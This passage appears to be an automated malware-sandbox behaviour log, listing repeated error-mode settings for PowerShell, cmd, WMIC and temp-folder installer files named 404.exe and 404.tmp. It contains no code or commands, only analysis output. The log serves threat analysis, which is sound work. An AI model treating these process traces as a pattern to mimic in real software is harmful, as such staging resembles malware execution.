Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
